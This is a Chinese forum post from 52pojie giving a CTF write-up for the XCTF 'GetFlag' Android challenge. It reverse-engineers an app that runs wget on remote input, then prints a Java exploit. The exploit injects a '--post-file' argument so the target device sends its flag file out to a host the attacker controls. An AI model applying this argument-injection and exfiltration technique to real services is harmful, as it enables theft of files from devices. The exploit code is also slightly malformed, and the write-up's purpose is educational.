吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2955|回复: 2
收起左侧

[Android CTF] XCTF战疫杯mobile

[复制链接]
alittlehorse 发表于 2020-3-18 16:17
本帖最后由 alittlehorse 于 2020-3-18 21:36 编辑

XCTF战疫杯 mobile题解
     首先,将GetFlag.apk拉入android killer中,发现结构很简单,主要函数全在MainActivity中,发现它会在本地生成一个flag文件,里面写着FLAG{the_real_flag_is_in_the_remote_apk},这是一个提示。我们猜测这题需要远程交互。
1.png
    然后分析程序主要流程:点击按钮调用ServerSocket_thread方法,在8080端口开一个servesocket,接受来自远程地数据,开辟Receive_Thread处理线程。
在Receive_Thread线程中,生成随机数i处理:接收输入流str,checkpayload(str,i)检查输入流,并读取messag中的数据,将数据输入到UI线程。
2.png
    现在我们定位到了关键方法:checkpayload方法,
2-1.png
    发现是对输入流中的message将进行HmacSHA1加密与check中的数据进行比较,如果通过,调用“Wget + message处理后的字符串”。


HmacsSHA1函数如下:
3.png

    经过查找Wget的用法。我们发现,Wget 有post-file的选项,可以将远程服务器上的文件post到本地。
post-file.png
    现在本地程序分析完毕。我们发现GetFlag这个app是一个服务端,应该在远程运行,端口号是8080,其在/data/data/com.xuanxuan.getflag/files/位置中生成了一个flag文件。


    那我们去哪里找IP信息呢,在Apk文件的结构中,assert是用于放应用程序的原始文件的,例如字体或者音乐等,程序运行的时候,可以通过API来获取这些信息。
具体结构见:https://ctf-wiki.github.io/ctf-wiki/android/basic_develop/basic_develop-zh/
    那我们找一下assert文件果然发现的secret.txt文件
5.png
    将其base64解码出来是:The%20IP%20of%20the%20remote%20phone%20is%20212.64.66.177,得到IP地址212.64.66.177那么我们现在只要构造消息,发送给212.64.66.177:8080,将远程的flag文件post到本地就可以得到flag惹。

package getflag;
import java.io.BufferedReader;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.math.BigInteger;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Random;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
public class getflag {
public static void main(String[] args) {
    String payload = "--post-file /data/data/com.xuanxuan.getflag/files/flag {这里填你自己的地址和端口}";
    String json = "{\"message\":\""+payload+"\",\"check\":\"";  
    Socket socket =new Socket("212.64.66.177",8080);  
    OutputStream os=socket.getOutputStream();
    PrintWriter pw=new PrintWriter(os);  
    InputStream is=socket.getInputStream();  
    BufferedReader br=new BufferedReader(new InputStreamReader(is));
    String random = br.readLine();
    json=json+new BigInteger(1, HmacSHA1Encrypt(payload, random.replace("\n", ""))).toString(16)+"\"}";
    os.write(json.getBytes());
}
}
   public static byte[] HmacSHA1Encrypt(String str, String str2) throws Exception {
        SecretKeySpec secretKeySpec = new SecretKeySpec(str2.getBytes("UTF-8"), "HmacSHA1");
        Mac mac = Mac.getInstance("HmacSHA1");
        mac.init(secretKeySpec);
        return mac.doFinal(str.getBytes("UTF-8"));
    }
}


运行exp,就可以得到flag了,但是现在官方远程已经关了


GetFlag.apk文件:
链接:https://pan.baidu.com/s/1KvUQW88HPtWw6e1SysHdxA
提取码:kkfw

免费评分

参与人数 3威望 +1 吾爱币 +21 热心值 +3 收起 理由
qtfreet00 + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Li1y + 1 + 1 谢谢@Thanks!
smile5 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

看,六眼飞鱼 发表于 2020-3-18 17:18
向大佬低头
teenage1997 发表于 2020-3-18 21:08
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 20:02

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表